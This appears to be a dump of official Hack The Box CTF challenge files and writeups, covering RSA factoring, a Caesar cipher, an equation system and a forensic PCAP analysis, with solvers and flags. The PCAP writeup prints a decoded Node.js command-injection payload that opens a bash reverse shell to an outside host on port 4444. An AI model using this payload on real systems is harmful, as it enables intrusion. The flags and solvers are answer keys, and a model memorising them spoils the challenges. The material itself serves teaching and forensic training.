*Given $p = 10412581$ and $q = 15559549$, it is trivial and very fast to calculate that $10412581 \cdot 15559549 = 162015064285969 = N$. However, given only $N = 162015064285969$, it is much harder to find which two numbers $p,q$ were multiplied to produce it.*
For much larger numbers, it becomes infeasible for the modern computers to solve this problem.
In this challenge, the size of each prime is $110$ bits, so their product is $110 + 110 = 220$ bits in total. It turns out that a $220$-bit RSA modulus is totally insecure to use for cryptography as it can be factored by modern computers very fast. There are many libraries and tools that factor integers but in CTF challenges, the most commonly used is SageMath so we will stick with it. Let us see an example first with dummy numbers.
```python
sage: p = random_prime(2^110)
sage: q = random_prime(2^110)
sage: n = p * q
sage: %time factor(n)
CPU times: user 6.46 s, sys: 7.96 ms, total: 6.47 s
Wall time: 6.5 s
356113038545854871808945806883821 * 1270756668530534635604669619715399
sage: p
356113038545854871808945806883821
sage: q
1270756668530534635604669619715399
```
We can see it took only 6.5 seconds for SageMath to factor $n$. Therefore, our task is pretty clear:
Connect to the server, retrieve the modulus at each round, factor it and send the factors back to the server.
However, the RSA public key is provided to us in PEM format.
```python
pem_pubkey = RSA.construct((n, e)).exportKey()
print(f'\nCan you crack this RSA public key?\n{pubkey.decode()}\n')
```
The PEM format is as follows:
```
-----BEGIN PUBLIC KEY-----
MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcBEwL/SBkcv+AmVwzDWtY80vQ4ALwjtUt
RgeXuwIDAQAB
-----END PUBLIC KEY-----
```
One might wonder why do we have to use such a weird format for sending RSA public keys. The reason is that RSA is widely used in applications such as TLS, which means that the key format must be consistent to avoid errors while parsing the parameters. Conventionally, applications utilize the PEM format. If no such format is used, one could argue which of the following should be used:
- `(n = value_of_n, e = value_of_e)`
- `(n=value_of_n,e=value_of_e)`
- `[n=value_of_n, e=value_of_e]`
and so on.
The way to read the actual RSA parameters from a PEM formatted key is to use the inverse of `exportKey` which is `importKey`.
```python
>>> from Crypto.PublicKey import RSA
>>> n = 452533018482816403250499886919603981486991592917670642633077659579
>>> e = 65537
>>> pem_pubkey = RSA.construct((n, e)).exportKey()
>>> pem_pubkey
b'-----BEGIN PUBLIC KEY-----\nMDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcBEwL/SBkcv+AmVwzDWtY80vQ4ALwjtUt\nRgeXuwIDAQAB\n-----END PUBLIC KEY-----'
>>> key = RSA.importKey(pem_pubkey)
>>> key
RsaKey(n=452533018482816403250499886919603981486991592917670642633077659579, e=65537)
```
## Exploitation
### Connecting to the server
We can finally move on and write a function that retrieves and factors the five moduli.
```python
from pwn import *
from Crypto.PublicKey import RSA
from sage.all import *
def get_flag():
e = 65537
for _ in range(5):
io.recvuntil(b'key?\n')
key = RSA.importKey(io.recvuntil(b'-----END PUBLIC KEY-----\n'))
n, e = key.n, key.e
p, q = list(factor(n))
io.sendlineafter(b'p = ', str(p[0]).encode())
io.sendlineafter(b'q = ', str(q[0]).encode())
io.recvline()
flag = io.recvline().strip().decode()
return flag
```
### Getting the flag
A final summary of all that was said above:
1. Notice that the provided RSA public keys are small so they can be easily factored using SageMath.
2. Retrieve the public key of each round, factor it and send back the primes.
3. Repeat this five times to get the flag.
This recap can be represented by code with the `pwn()` function:
```python
def pwn():
flag = get_flag()
print(flag)
if __name__ == '__main__':
if args.REMOTE:
host_port = sys.argv[1].split(':')
HOST = host_port[0]
PORT = host_port[1]
io = remote(HOST, PORT, level='error')
else:
import os
os.chdir('../challenge')
io = process(['python3', 'server.py'], level='error')
pwn()
```

View file

@ -0,0 +1,5 @@
#!/bin/bash
NAME="brevi_moduli"
docker rm -f crypto_$NAME
docker build --tag=crypto_$NAME . && \
docker run -p 1337:1337 --rm --name=crypto_$NAME --detach crypto_$NAME

View file

@ -0,0 +1 @@
HTB{this_was_a_warmup_to_get_you_used_to_integer_factoring_and_parsing_pem_formatted_keys}

View file

@ -0,0 +1,25 @@
from Crypto.Util.number import isPrime, getPrime, bytes_to_long
from Crypto.PublicKey import RSA
rounds = 5
e = 65537
for i in range(rounds):
print('*'*10, f'Round {i+1}/{rounds}', '*'*10)
pumpkin1 = getPrime(110)
pumpkin2 = getPrime(110)
n = pumpkin1 * pumpkin2
large_pumpkin = RSA.construct((n, e)).exportKey()
print(f'\n🎃Can you crack this pumpkin🎃?\n{large_pumpkin.decode()}\n')
assert isPrime(_pmp1 := int(input('enter your first pumpkin = '))), exit()
assert isPrime(_pmp2 := int(input('enter your second pumpkin = '))), exit()
if n != _pmp1 * _pmp2:
print('wrong! bye...')
exit()
print()
print(open('flag.txt').read())

View file

@ -0,0 +1,38 @@
from pwn import *
from Crypto.PublicKey import RSA
from sage.all import *
io = None
def get_flag():
e = 65537
for _ in range(5):
io.recvuntil(b'Round ')
print(io.recvline().split()[0].decode())
io.recvuntil(b'?\n')
key = RSA.importKey(io.recvuntil(b'-----END PUBLIC KEY-----\n'))
n, e = key.n, key.e
p, q = list(factor(n))
io.sendlineafter(b'pumpkin = ', str(p[0]).encode())
io.sendlineafter(b'pumpkin = ', str(q[0]).encode())
io.recvline()
flag = io.recvline().strip().decode()
return flag
def pwn():
flag = get_flag()
print(flag)
if __name__ == '__main__':
if args.REMOTE:
host_port = sys.argv[1].split(':')
HOST = host_port[0]
PORT = host_port[1]
io = remote(HOST, PORT, level='error')
else:
import os
os.chdir('../challenge')
io = process(['python3', 'server.py'], level='error')
pwn()

View file

@ -0,0 +1,25 @@
from Crypto.Util.number import isPrime, getPrime, bytes_to_long
from Crypto.PublicKey import RSA
rounds = 5
e = 65537
for i in range(rounds):
print('*'*10, f'Round {i+1}/{rounds}', '*'*10)
pumpkin1 = getPrime(110)
pumpkin2 = getPrime(110)
n = pumpkin1 * pumpkin2
large_pumpkin = RSA.construct((n, e)).exportKey()
print(f'\n🎃Can you crack this pumpkin🎃?\n{large_pumpkin.decode()}\n')
assert isPrime(_pmp1 := int(input('enter your first pumpkin = '))), exit()
assert isPrime(_pmp2 := int(input('enter your second pumpkin = '))), exit()
if n != _pmp1 * _pmp2:
print('wrong! bye...')
exit()
print()
print(open('flag.txt').read())

View file

@ -0,0 +1,31 @@
default:
ifdef name
@cd challenge; \
python3 source.py; \
mkdir crypto_$(name); \
cp source.py output.txt ./crypto_$(name); \
cp output.txt ../htb/; \
mv ./crypto_$(name) ../release/;
@cd release; \
zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
unzip -l ./crypto_$(name).zip;
@echo [+] Challenge was built successfully.
else
@echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
endif
flag:
@echo [+] Flag : $$(cd challenge; python3 -c 'print(open("secret.txt").read())')
solver:
@echo [+] PoC :
@cd htb ; python3 solver.py
test: clean default flag solver
clean:
@rm -rf release/*
@rm -rf htb/output.txt
@find . -name "*.sage.py" -type f -delete
@echo [+] Challenge release deleted successfully.

View file

@ -0,0 +1,141 @@
![img](../../../../../assets/htb.png)
<img src='../../../../../assets/logo.png' style='zoom: 80%;' align=left /><font size='5'>sekur julius</font>
2<sup>nd</sup> October 2024 / Document No. D24.102.XX
Prepared By: `rasti`
Challenge Author: `rasti`
Difficulty: <font color=lightgreen>Very Easy</font>
Classification: Official
# Synopsis
- `sekur julius` is a very easy crypto challenge. The player has to understand that no matter how many times Caesar cipher is applied to a message, the security does not increase as each character is shifted by the same shift offset each time. Therefore, 1337 Caesar encryptions are equivalent to that of a single one. The task is to perform Caesar cipher decryption to obtain the flag string and wrap it with the usual HTB flag format `HTB{}`.
## Description
- Hidden deep in the forest was an ancient scroll, rumored to grant immense power to anyone who could read its shifting symbols. On Halloween, a curious traveler found the scroll, its letters strangely out of order. As they deciphered the message, the words slowly rearranged themselves, revealing a dark spell. But with the final shift, the traveler felt a cold presence behind them, whispering, "You were never meant to understand." The forest grew silent, but the spell was already cast.
## Skills Required
- Basic knowledge of the Caesar cipher
## Skills Learned
- Learn that performing several encryptions with Caesar cipher does not increase the security.
# Enumeration
In this challenge we are provided with two files:
- `source.py` : This is the script that encrypts the secret message and writes the ciphertext to `output.txt`
- `output.txt` : This is the output file that contains the encrypted message
## Analyzing the source code
Let us first analyze the source of the script.
```python
from random import choices
def julius_encrypt(msg, shift):
ct = ''
for p in msg:
if p == ' ':
ct += '0'
elif not ord('A') <= ord(p) <= ord('Z'):
ct += p
else:
o = ord(p) - 65
ct += chr(65 + (o + shift) % 26)
return ct
def encrypt(msg, key):
for shift in key:
msg = julius_encrypt(msg, shift)
return msg
msg = open('secret.txt').read().upper()
secure_key = os.urandom(1337)
with open('output.txt', 'w') as f:
f.write(encrypt(msg, secure_key))
```
The flow is very simple to follow. A message is read from `secret.txt` and is encrypted with a key. The key is a random byte string of 1337 bytes.
The message is then encrypted using each of these bytes as a key. The function that encrypts the actual message is called `julius_encrypt` and we are given its source code. The function iterates over each message character and encrypts it as follows:
1. If the character is a whitespace, it appends a '$0$' to the ciphertext
2. If the character is any other non-uppercase character, it appends it as it is.
3. If the character is in uppercase, it is substituted with the character being $\text{shift}$ positions to the right. For example, the letter 'A' with a key of 4 would have been encrypted to 'E'.
This encryption process should remind us of the Caesar Cipher and in this case the function name is a hint to verify our educated guess.
# Solution
## Finding the vulnerability
Caesar cipher is known to be vulnerable due to its small key space, which in this challenge consists of a total of 26 characters; the uppercase English alphabet. However, there is a twist in this challenge; the message is not encrypted with a single shift but with 1337 shifts where each shift can be any number in the range $[0, 255]$.
A standard choice of a shift would be in the range $[0, 25]$ and not in $[0, 255]$. However, the encryption methods adds the shift to the plaintext letter and then reduces the result $\pmod {26}$.
```python
(o + shift) % 26
```
Due to the properties of modular arithmetic, this is equivalent too:
```python
(o % 26 + shift % 26) % 26
```
We observe no matter how large `shift` is, the final number will lie in the range $[0, 25]$. For example, encrypting with $\text{shift} = 250$ is equivalent to $250 \pmod {26} = 10$. As a result, we conclude that the effective keyspace of the cipher remains exactly the same.
Now, regarding the several rounds of encryption, let us see what happens if we encrypt a message with caesar two times, with two different shifts. Let the message `CRYPTOGRAPHY`. First, we encrypt the plaintext with a shift value of $3$, and then we encrypt the result with a shift value of $5$.
$$
\text{Plaintext} :& \text{C R Y P T O G R A P H Y}\\
\text{Shift by 3} :& \text{F U B S W R J U D S K B}\\
\text{Shift by 5} :& \text{K Z G X B W O Z I X P G}
$$
Notice that we can get the final result by encrypting the initial plaintext with a shift value equal to the sum of the sub-shifts; that is $3 + 5 = 8$.
$$
\text{Plaintext} :& \text{C R Y P T O G R A P H Y}\\
\text{Shift by 8} :& \text{K Z G X B W O Z I X P G}
$$
This is crucial as we eliminated one round of encryption and yet ended up with the same result. Back to our challenge, the secret message is encrypted with 1337 rounds. Similarly, we can obtain the final ciphertext by encrypting the message with the shift being the sum of all the 1337 sub-shifts, reduced $\pmod {26}$. In the end, the effective shift value is again a number in the range $[0, 25]$.
The solution plan is trivial. All we have to do is decrypt the ciphertext with all 26 possible shift values and check if the plaintext looks like English language. We could use the index of coincidence technique to find the correct plaintext directly but it is not mandatory in this case.
Let us write a function that decrypts the ciphertext with all possible 26 keys.
```python
def decrypt():
enc = open('output.txt').read()
for i in range(1, 26):
print(f'{i = } | {julius_decrypt(enc, i)}')
```
## Getting the flag
A final summary of all that was said above:
1. Notice that the provided cipher is identical to the Caesar cipher.
2. Figure out that the "twist" of the shift values being in the range $[0, 255]$ does not add something to the security of the cipher and the keyspace remains the same.
3. With simple logic and experimentations, one can conclude that the total number of encryption rounds eventually drops down to a single encryption with Caesar cipher.
4. Knowing that, we can decrypt the ciphertext with all the possible 26 keys and check which result looks like English language.
This recap can be represented by code with the `pwn()` function:
```python
def pwn():
decrypt()
pwn()
```

View file

@ -0,0 +1 @@
LTARDBT0ID0WPRZIWTQDD0ILDIWDJHPCSILTCINUDJG!0IWXH0XH0P0EGDDU0DU0RDCRTEI0ID0EGDKT0NDJ0IWPI0IWT0RPTHPG0RXEWTG0XH0XCHTRJGT0CD0BPIITG0WDL0BPCN0IXBTH0NDJ0PEEAN0XI.0IWT0HTRJGXIN0DU0P0IWDJHPCS0SXHIXCRI0HWXUIH0XH0TKTCIJPAAN0IWT0HPBT0PH0IWPI0DU0P0HXCVAT0HWXUI.0TCDJVW0BJBQAXCV,0IPZT0NDJG0UAPV0PCS0TCYDN0IWT0GTHI0DU0IWT0RDCITHI.0BPZT0HJGT0NDJ0LGPE0IWT0UDAADLXCV0ITMI0LXIW0IWT0WIQ0UAPV0UDGBPI0HTRJGXINDUPIWDJHPCSDGHTRJGXINDUPHXCVAT.

View file

@ -0,0 +1 @@
Welcome to HackTheBoo TwoThousandTwentyFour! This is a proof of concept to prove you that the Caesar cipher is insecure no matter how many times you apply it. The security of a thousand distinct shifts is eventually the same as that of a single shift. Enough mumbling, take your flag and enjoy the rest of the contest. Make sure you wrap the following text with the HTB flag format SECURITYOFATHOUSANDORSECURITYOFASINGLE.

View file

@ -0,0 +1,24 @@
from random import choices
def julius_encrypt(msg, shift):
ct = ''
for p in msg:
if p == ' ':
ct += '0'
elif not ord('A') <= ord(p) <= ord('Z'):
ct += p
else:
o = ord(p) - 65
ct += chr(65 + (o + shift) % 26)
return ct
def encrypt(msg, key):
for shift in key:
msg = julius_encrypt(msg, shift)
return msg
msg = open('secret.txt').read().upper()
secure_key = os.urandom(1337)
with open('output.txt', 'w') as f:
f.write(encrypt(msg, secure_key))

View file

@ -0,0 +1 @@
LTARDBT0ID0WPRZIWTQDD0ILDIWDJHPCSILTCINUDJG!0IWXH0XH0P0EGDDU0DU0RDCRTEI0ID0EGDKT0NDJ0IWPI0IWT0RPTHPG0RXEWTG0XH0XCHTRJGT0CD0BPIITG0WDL0BPCN0IXBTH0NDJ0PEEAN0XI.0IWT0HTRJGXIN0DU0P0IWDJHPCS0SXHIXCRI0HWXUIH0XH0TKTCIJPAAN0IWT0HPBT0PH0IWPI0DU0P0HXCVAT0HWXUI.0TCDJVW0BJBQAXCV,0IPZT0NDJG0UAPV0PCS0TCYDN0IWT0GTHI0DU0IWT0RDCITHI.0BPZT0HJGT0NDJ0LGPE0IWT0UDAADLXCV0ITMI0LXIW0IWT0WIQ0UAPV0UDGBPI0HTRJGXINDUPIWDJHPCSDGHTRJGXINDUPHXCVAT.

View file

@ -0,0 +1,16 @@
def julius_decrypt(enc, shift):
pt = ''
for c in enc:
if c == '0':
pt += ' '
elif not ord('A') <= ord(c) <= ord('Z'):
pt += c
else:
o = ord(c) - 65
pt += chr(65 + (o - shift) % 26)
return pt
enc = open('output.txt').read()
for i in range(1, 26):
print(f'{i = } | {julius_decrypt(enc, i)}')

View file

@ -0,0 +1 @@
LTARDBT0ID0WPRZIWTQDD0ILDIWDJHPCSILTCINUDJG!0IWXH0XH0P0EGDDU0DU0RDCRTEI0ID0EGDKT0NDJ0IWPI0IWT0RPTHPG0RXEWTG0XH0XCHTRJGT0CD0BPIITG0WDL0BPCN0IXBTH0NDJ0PEEAN0XI.0IWT0HTRJGXIN0DU0P0IWDJHPCS0SXHIXCRI0HWXUIH0XH0TKTCIJPAAN0IWT0HPBT0PH0IWPI0DU0P0HXCVAT0HWXUI.0TCDJVW0BJBQAXCV,0IPZT0NDJG0UAPV0PCS0TCYDN0IWT0GTHI0DU0IWT0RDCITHI.0BPZT0HJGT0NDJ0LGPE0IWT0UDAADLXCV0ITMI0LXIW0IWT0WIQ0UAPV0UDGBPI0HTRJGXINDUPIWDJHPCSDGHTRJGXINDUPHXCVAT.

View file

@ -0,0 +1,24 @@
from random import choices
def julius_encrypt(msg, shift):
ct = ''
for p in msg:
if p == ' ':
ct += '0'
elif not ord('A') <= ord(p) <= ord('Z'):
ct += p
else:
o = ord(p) - 65
ct += chr(65 + (o + shift) % 26)
return ct
def encrypt(msg, key):
for shift in key:
msg = julius_encrypt(msg, shift)
return msg
msg = open('secret.txt').read().upper()
secure_key = os.urandom(1337)
with open('output.txt', 'w') as f:
f.write(encrypt(msg, secure_key))

View file

@ -0,0 +1,31 @@
default:
ifdef name
@cd challenge; \
python3 source.py; \
mkdir crypto_$(name); \
cp source.py output.txt ./crypto_$(name); \
cp output.txt ../htb/; \
mv ./crypto_$(name) ../release/;
@cd release; \
zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
unzip -l ./crypto_$(name).zip;
@echo [+] Challenge was built successfully.
else
@echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
endif
flag:
@echo [+] Flag : $$(cd challenge; python3 -c 'print(open("flag.txt").read())')
solver:
@echo [+] PoC : $$(cd htb ; sage -python3 solver.py)
@find . -name "*.sage.py" -type f -delete
test: clean default flag solver
clean:
@rm -rf release/*
@rm -rf htb/output.txt
@find . -name "*.sage.py" -type f -delete
@echo [+] Challenge release deleted successfully.

View file

@ -0,0 +1,143 @@
![](assets/images/banner.png)
<img src="assets/images/htb.png" style="zoom: 80%;" align=left /><font size="5">sugar free candies</font>
22<sup>th</sup> September 2023 / Document No. D23.102.XX
Prepared by : `rasti`
Challenge Author(s): `0x50r4`
Difficulty: <font color=lightgreen>Very Easy</font>
Classification: Official
# Synopsis
- `sugar free candies` is a very easy crypto challege. The flag of this challenge is splitted into three parts. Four relations between these splitted parts are calculated and outputted to an output text file. The players will have to solve a system of three unknowns, given four equations with SageMath, or any other tool of their choice, and recover the flag.
## Description
- For years, strange signals pulsed through the air on the eve of October 31st. Some said it was the voice of an ancient witch, others believed it was a message from something far darker. A cryptic message, scattered in three parts, was intercepted by a daring group of villagers. Legend spoke of a deal made between the witch and a shadowy figure, but the true intent of their secret could only be revealed by those brave enough to decipher it before midnight, when the veil between worlds would thin.
## Skills Required
- Basic Python source code analysis.
- Know how to work with equations with multiple variables programmatically.
## Skills Learned
- Solve equations with SageMath.
# Enumeration
In this challenge we are provided with two files.
- `source.py` : It is the main python script that produces the output file.
- `output.txt` : Contains the data outputted from the source script.
## Analyzing the challenge
The code of the script is not lengthy so let us take a look.
```python
from Crypto.Util.number import bytes_to_long
FLAG = open("flag.txt", "rb").read()
step = len(FLAG) // 3
candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)]
cnd1, cnd2, cnd3 = candies
with open('output.tcnd1t', 'w') as f:
f.write(f'v1 = {cnd1**3 + cnd3**2 + cnd2}\n')
f.write(f'v2 = {cnd2**3 + cnd1**2 + cnd3}\n')
f.write(f'v3 = {cnd3**3 + cnd2**2 + cnd1}\n')
f.write(f'v4 = {cnd1 + cnd2 + cnd3}\n')
```
The steps can be summarised as:
- The challenge reads the flag from `flag.txt`, which is secret and not provided to us
- It is splitted in three parts, which are denoted as `cnd1`, `cnd2`, and `cnd3` respectively. Each part is then converted into an integer representation.
- Four relations between the splitted parts are calculated and finally outputted to the output file `output.txt`.
# Solution
Our task is straight forward. We have to solve a system of three unknowns given four equations. Since the number of unknowns is less than the number of equations we are given, it is guaranteed that a solution $(x, y, z) = (x_0, y_0, z_0)$ exists. It should be noted that three equations would also guarantee a unique solution.
However, the problem is that the numbers are large and the equations non-linear so it would be very hard to solve with just pen and paper. We have to use some tool for this purpose. By researching the keywords `python solve equations` with the search engine of your choice, one should stumble upon the `SymPy` library. However, as the SageMath library is more common in CTFs, we will prefer that one. Note that there are also online equation solvers that should work too.
# Exploitation
Let us first load the data from the output file.
```python
exec(open('output.txt').read())
```
Let us first write a function that creates and returns three variables, one for each part of the flag. Due to use of `bytes_to_long`, we know they must be integers so we care only about solutions in the set of integers $\mathbb{Z}$. In SageMath, we can define variables using the `var()` function.
```python
from sage.all import *
def create_variables():
x,y,z = var('x,y,z', domain=ZZ)
return x,y,z
```
Then, we move on solving the system. For this purpose, we will utilize SageMath's [function](https://doc.sagemath.org/html/en/reference/calculus/sage/symbolic/relation.html#sage.symbolic.relation.solve) `solve()`. This functions receives a list of equations and the variables we want to solve for. Let us write a function that returns the solutions of the equations.
```python
def solve_system(x, y, z, v1, v2, v3, v4):
return solve([
x**3 + z**2 + y == v1,
y**3 + x**2 + z == v2,
z**3 + y**2 + x == v3,
x + y + z == v4
], x, y, z, solution_dict=True)[0]
```
We also choose to retrieve the solutions in a dictionary format, to make the solution parsing more convenient.
Having the solutions, we can reconstruct the flag as:
```python
from Crypto.Util.number import long_to_bytes
def get_flag(sols):
return b''.join([long_to_bytes(int(n)) for n in [sols[x], sols[y], sols[z]]])
```
## Getting the flag
Let us recap the steps for getting the flag.
- We noticed the flag is splitted into three parts.
- We noticed that we are given four relations of these parts so the system must have a unique solution.
- By minimal research, we see that we can solve systems using SageMath, SymPy or any online tool.
- Solving for the three unknown parts, we reconstruct the flag.
This recap can be represented with code as below:
```python
exec(open('output.txt').read())
def pwn():
x, y, z = create_variables()
sols = solve_system(x, y, z)
flag = get_flag(sols)
print(flag)
if __name__ == '__main__':
pwn()
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View file

@ -0,0 +1 @@
HTB{__protecting_the_secret_in_equations_is_not_secure__}

View file

@ -0,0 +1,4 @@
v1 = 4196604293528562019178729176959696479940189487937638820300425092623669070870963842968690664766177268414970591786532318240478088400508536
v2 = 11553755018372917030893247277947844502733193007054515695939193023629350385471097895533448484666684220755712537476486600303519342608532236
v3 = 14943875659428467087081841480998474044007665197104764079769879270204055794811591927815227928936527971132575961879124968229204795457570030
v4 = 6336816260107995932250378492551290960420748628

View file

@ -0,0 +1,14 @@
from Crypto.Util.number import bytes_to_long
FLAG = open("flag.txt", "rb").read()
step = len(FLAG) // 3
candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)]
cnd1, cnd2, cnd3 = candies
with open('output.txt', 'w') as f:
f.write(f'v1 = {cnd1**3 + cnd3**2 + cnd2}\n')
f.write(f'v2 = {cnd2**3 + cnd1**2 + cnd3}\n')
f.write(f'v3 = {cnd3**3 + cnd2**2 + cnd1}\n')
f.write(f'v4 = {cnd1 + cnd2 + cnd3}\n')

View file

@ -0,0 +1,4 @@
v1 = 4196604293528562019178729176959696479940189487937638820300425092623669070870963842968690664766177268414970591786532318240478088400508536
v2 = 11553755018372917030893247277947844502733193007054515695939193023629350385471097895533448484666684220755712537476486600303519342608532236
v3 = 14943875659428467087081841480998474044007665197104764079769879270204055794811591927815227928936527971132575961879124968229204795457570030
v4 = 6336816260107995932250378492551290960420748628

View file

@ -0,0 +1,29 @@
from sage.all import *
from Crypto.Util.number import long_to_bytes
exec(open('output.txt').read())
def create_variables():
x,y,z = var('x,y,z', domain=ZZ)
return x,y,z
def solve_system(x, y, z):
return solve([
x**3 + z**2 + y == v1,
y**3 + x**2 + z == v2,
z**3 + y**2 + x == v3,
x + y + z == v4
], x, y, z, solution_dict=True)[0]
def get_flag(sols):
return b''.join([long_to_bytes(int(n)) for n in [sols[x], sols[y], sols[z]]])
def pwn():
x, y, z = create_variables()
sols = solve_system(x, y, z)
flag = get_flag(sols)
print(flag)
if __name__ == '__main__':
pwn()

View file

@ -0,0 +1,4 @@
v1 = 4196604293528562019178729176959696479940189487937638820300425092623669070870963842968690664766177268414970591786532318240478088400508536
v2 = 11553755018372917030893247277947844502733193007054515695939193023629350385471097895533448484666684220755712537476486600303519342608532236
v3 = 14943875659428467087081841480998474044007665197104764079769879270204055794811591927815227928936527971132575961879124968229204795457570030
v4 = 6336816260107995932250378492551290960420748628

View file

@ -0,0 +1,14 @@
from Crypto.Util.number import bytes_to_long
FLAG = open("flag.txt", "rb").read()
step = len(FLAG) // 3
candies = [bytes_to_long(FLAG[i:i+step]) for i in range(0, len(FLAG), step)]
cnd1, cnd2, cnd3 = candies
with open('output.txt', 'w') as f:
f.write(f'v1 = {cnd1**3 + cnd3**2 + cnd2}\n')
f.write(f'v2 = {cnd2**3 + cnd1**2 + cnd3}\n')
f.write(f'v3 = {cnd3**3 + cnd2**2 + cnd1}\n')
f.write(f'v4 = {cnd1 + cnd2 + cnd3}\n')

View file

@ -0,0 +1,67 @@
![img](assets/banner.png)
<img src='assets/htb.png' style='zoom: 40%;' align=left /> <font size='4'>Forbidden Manuscript</font>
26<sup>th</sup> Oct 2024
Prepared By: `gordic`
Challenge Author(s): `gordic`
Difficulty: <font color='green'>Very Easy</font>
<br><br>
# Synopsis
- The user is tasked with performing PCAP analysis. The challenge is straightforward: the user must analyze HTTP requests within the network capture to uncover details of the incident. One of the streams contains an encoded payload.
## Description
- On the haunting night of Halloween, the website of "Shadowbrook Library"—a digital vault of forbidden and arcane manuscripts—was silently breached by an unknown entity. Though the site appears unaltered, unsettling anomalies suggest something sinister has been stolen from its cryptic depths. Ominous network traffic logs from the time of the intrusion have emerged. Your task is to delve into this data and uncover any dark secrets that were exfiltrated.
Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}`
## Skills Required
- Basic wireshark usage
- Basic .pcap analysis
- Hex encoding/decoding
## Skills Learned (!)
- Packet analysis
- Detection of command injection
- Reverse shell analysis
# Enumeration (!)
The challenge provides a PCAP file named `capture.pcap`. We can start by opening the file in Wireshark.
![Writeup 1](assets/writeup1.png)
We can follow first HTTP stream by right-clicking on the first HTTP packet and selecting `Follow > HTTP Stream`. We are greeted with a windows that shows the HTTP requests and responses.
![Writeup 2](assets/writeup2.png)
Upon examining the HTTP streams, we find an encoded string in stream 4. We can copy this string and decode it using an online tool or a Python script.
![Writeup 3](assets/writeup3.png)
First, we perform URL decoding on the string. The decoded string is:
> exploit() {} && ((()=>{ global.process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1'"); })()) && function pwned
This appears to be a reverse shell payload. After closing the HTTP stream, we scroll down to the end of stream 4 in Wireshark and notice numerous TCP packets. These packets represent the reverse shell connection, indicated by the use of port 4444 as specified in the payload.
![Writeup 4](assets/writeup4.png)
We can follow this TCP stream by right-clicking on the first TCP packet and selecting `Follow > TCP Stream`. This reveals the reverse shell commands being executed, and we can see the flag being displayed in the terminal.
![Writeup 5](assets/writeup5.png)
To retrieve the flag, we use CyberChef's "From Hex" function to decode it.
Encoded Flag: `4854427b66307262316464336e5f6d346e753563723170375f31355f316e5f3768335f77316c647d`
Decoded Flag: `HTB{f0rb1dd3n_m4nu5cr1p7_15_1n_7h3_w1ld}`

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 465 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 240 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 561 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 119 KiB

View file

@ -0,0 +1 @@
exploit() {} && (() => {global.process.mainModule.require("child_process").execSync("");})() && function pwned

View file

@ -0,0 +1,14 @@
FROM node:18
RUN apt-get update && apt-get install -y netcat-openbsd
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 3000
CMD ["npm", "start"]

View file

@ -0,0 +1,19 @@
version: '3.8'
services:
web:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=production
- DB_PATH=/usr/src/app/data/shadowbrook.db
volumes:
- .:/usr/src/app
- ./data:/usr/src/app/data # Ensure data is persistent
depends_on:
- db
db:
image: nouchka/sqlite3
volumes:
- ./data:/data

View file

@ -0,0 +1,17 @@
{
"name": "shadowbrook-library",
"version": "1.0.0",
"description": "A spooky library of forbidden knowledge",
"main": "src/app.js",
"scripts": {
"start": "node src/app.js"
},
"dependencies": {
"@blakeembrey/template": "1.1.0",
"body-parser": "^1.19.0",
"ejs": "^3.1.10",
"express": "^4.17.1",
"sqlite3": "^5.0.0",
"squirrelly": "^9.0.0"
}
}

View file

@ -0,0 +1,23 @@
const express = require('express');
const path = require('path');
const bodyParser = require('body-parser');
const manuscriptRoutes = require('./routes/manuscripts');
const indexRoutes = require('./routes/index');
const app = express();
// Middleware
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
// View engine setup
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
// Routes
app.use('/', indexRoutes);
app.use('/manuscripts', manuscriptRoutes);
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Shadowbrook Library is running on port ${PORT}`);
});

View file

@ -0,0 +1,81 @@
const sqlite3 = require('sqlite3').verbose();
const fs = require('fs');
const path = require('path');
// Define the database path
const dbDirectory = path.join(__dirname, '../data');
const dbPath = process.env.DB_PATH || path.join(dbDirectory, 'shadowbrook.db');
// Ensure the database directory exists
if (!fs.existsSync(dbDirectory)) {
console.log(`Directory '${dbDirectory}' does not exist. Creating...`);
fs.mkdirSync(dbDirectory, { recursive: true });
}
// Connect to SQLite database
const db = new sqlite3.Database(dbPath, (err) => {
if (err) {
console.error('Error connecting to SQLite database:', err.message);
} else {
console.log('Connected to SQLite database.');
// Create manuscripts table if it doesn't exist
db.run(`CREATE TABLE IF NOT EXISTS manuscripts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT NOT NULL,
author TEXT NOT NULL,
content TEXT NOT NULL
)`, (err) => {
if (err) {
console.error('Error creating manuscripts table:', err.message);
} else {
console.log('Manuscripts table ready.');
// Initialize database with creepy Halloween-themed manuscripts
const manuscripts = [
{
title: "The Whispering Shadows",
author: "Unknown",
content: "In the dead of night, the shadows in the old library seem to move, whispering secrets of those long forgotten. Some say they hear faint voices calling their name..."
},
{
title: "The Cursed Pumpkin",
author: "Edgar Fallow",
content: "Every year, the pumpkin with a face twisted in agony reappears on the doorstep of the abandoned house. Its origins remain unknown, but those who dare carve it disappear without a trace."
},
{
title: "The Haunting of Willow Lane",
author: "Mary Blackthorn",
content: "A house once full of life now stands as a decrepit shell. At midnight, the laughter of children echoes through the halls, though none have lived there for decades..."
},
{
title: "The Witch's Grimoire",
